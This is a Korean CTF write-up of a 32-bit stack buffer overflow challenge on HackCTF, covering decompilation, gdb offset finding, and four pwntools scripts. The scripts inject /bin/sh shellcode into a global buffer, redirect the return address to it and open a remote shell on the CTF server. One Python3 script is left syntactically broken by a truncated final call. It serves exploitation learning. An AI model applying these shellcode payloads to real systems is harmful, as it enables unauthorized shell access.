[문제]

 


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 없음
  • PIE 없음

 

바이너리 실행

  • 사용자로부터 Name과 input을 입력 받음
  • input의 길이에 따라 Segmentation fault 발생(BOF)

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+0h] [ebp-14h]@1

  setvbuf(stdout, 0, 2, 0);
  printf("Name : ");
  read(0, &name, 50);
  printf("input : ");
  gets(&s);
  return 0;
}
  • read 함수로 50바이트 만큼 Name 입력 받고 있음
  • gets 함수로 input 입력을 받고 있음 → 길이 검증을 하지 않아 BOF 취약점 발생
  • shell을 실행할 수 있는 어떠한 것도 주어지지 않음 → shellcode 삽입 필요

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048330  _init
0x08048370  read@plt
0x08048380  printf@plt
0x08048390  gets@plt
0x080483a0  __libc_start_main@plt
0x080483b0  setvbuf@plt
0x080483c0  __gmon_start__@plt
0x080483d0  _start
0x08048400  __x86.get_pc_thunk.bx
0x08048410  deregister_tm_clones
0x08048440  register_tm_clones
0x08048480  __do_global_dtors_aux
0x080484a0  frame_dummy
0x080484cb  main
0x08048530  __libc_csu_init
0x08048590  __libc_csu_fini
0x08048594  _fini
  • main 주소: 0x080484cb

 

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x080484cb <+0>:	push   ebp
   0x080484cc <+1>:	mov    ebp,esp
   0x080484ce <+3>:	sub    esp,0x14
   0x080484d1 <+6>:	mov    eax,ds:0x804a040
   0x080484d6 <+11>:	push   0x0
   0x080484d8 <+13>:	push   0x2
   0x080484da <+15>:	push   0x0
   0x080484dc <+17>:	push   eax
   0x080484dd <+18>:	call   0x80483b0 <setvbuf@plt>
   0x080484e2 <+23>:	add    esp,0x10
   0x080484e5 <+26>:	push   0x80485b0
   0x080484ea <+31>:	call   0x8048380 <printf@plt>
   0x080484ef <+36>:	add    esp,0x4
   0x080484f2 <+39>:	push   0x32
   0x080484f4 <+41>:	push   0x804a060
   0x080484f9 <+46>:	push   0x0
   0x080484fb <+48>:	call   0x8048370 <read@plt>
   0x08048500 <+53>:	add    esp,0xc
   0x08048503 <+56>:	push   0x80485b8
   0x08048508 <+61>:	call   0x8048380 <printf@plt>
   0x0804850d <+66>:	add    esp,0x4
   0x08048510 <+69>:	lea    eax,[ebp-0x14]
   0x08048513 <+72>:	push   eax
   0x08048514 <+73>:	call   0x8048390 <gets@plt>
   0x08048519 <+78>:	add    esp,0x4
   0x0804851c <+81>:	mov    eax,0x0
   0x08048521 <+86>:	leave  
   0x08048522 <+87>:	ret    
End of assembler dump.
  • main+53에 bp 걸어 Name에 임의의 입력 값 입력

  • 0x804a060에 Name 저장

  • name은 전역변수로 선언됨
  • main+78에 bp 걸어 input에 임의의 입력 값 입력

  • 0xffffd044에 입력 값 저장

  • 0xffffd05c에서 __libc_start_main+241 발견
  • 입력값~0xffffd05c까지의 offset = 24

 

문제 해결

💡Name: shellcode(최대 50byte)
     input: dummy(24byte)
     ret: Name_Address(0x804a060)

 

Python2 - 직접 shellcode 가져와 진행

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3003)
e=ELF('./prob1')

payload = "\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80"
payload += "A"*25
payload += "B"*24
payload += p32(e.symbols['name'])

p.sendline(payload)
p.interactive()

 

Python2 - shellcraft

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3003)
e=ELF('./prob1')

shell = asm(shellcraft.sh())
payload = shell.ljust(50, "A")
payload += "B"*24
payload += p32(e.symbols['name'])

p.sendline(payload)
p.interactive()

 

Python3 - 직접 shellcode 가져와 진행

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3003)
e=ELF('./prob1')

payload = b"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80"
payload += b"A"*25
payload += b"B"*24
payload += p32(e.symbols['name'])

p.sendline(payload)
p.interactive(

 

Python3 - shellcraft

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3003)
e=ELF('./prob1')

shell = asm(shellcraft.sh())
payload = shell.ljust(50, b"A")
payload += b"B"*24
payload += p32(e.symbols['name'])

p.sendline(payload)
p.interactive()


flag

🍒 HackCTF{1_l0v3_70p_pwn3r_m4lhyuk}

 

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Basic_BOF #2  (0) 2022.10.30
[HackCTF] Basic_FSB  (0) 2022.10.30
[HackCTF] x64 Buffer Overflow  (0) 2022.10.30
[HackCTF] x64 Simple_size_BOF  (0) 2022.10.30
[HackCTF] Simple_Overflow_ver_2  (0) 2022.10.30

+ Recent posts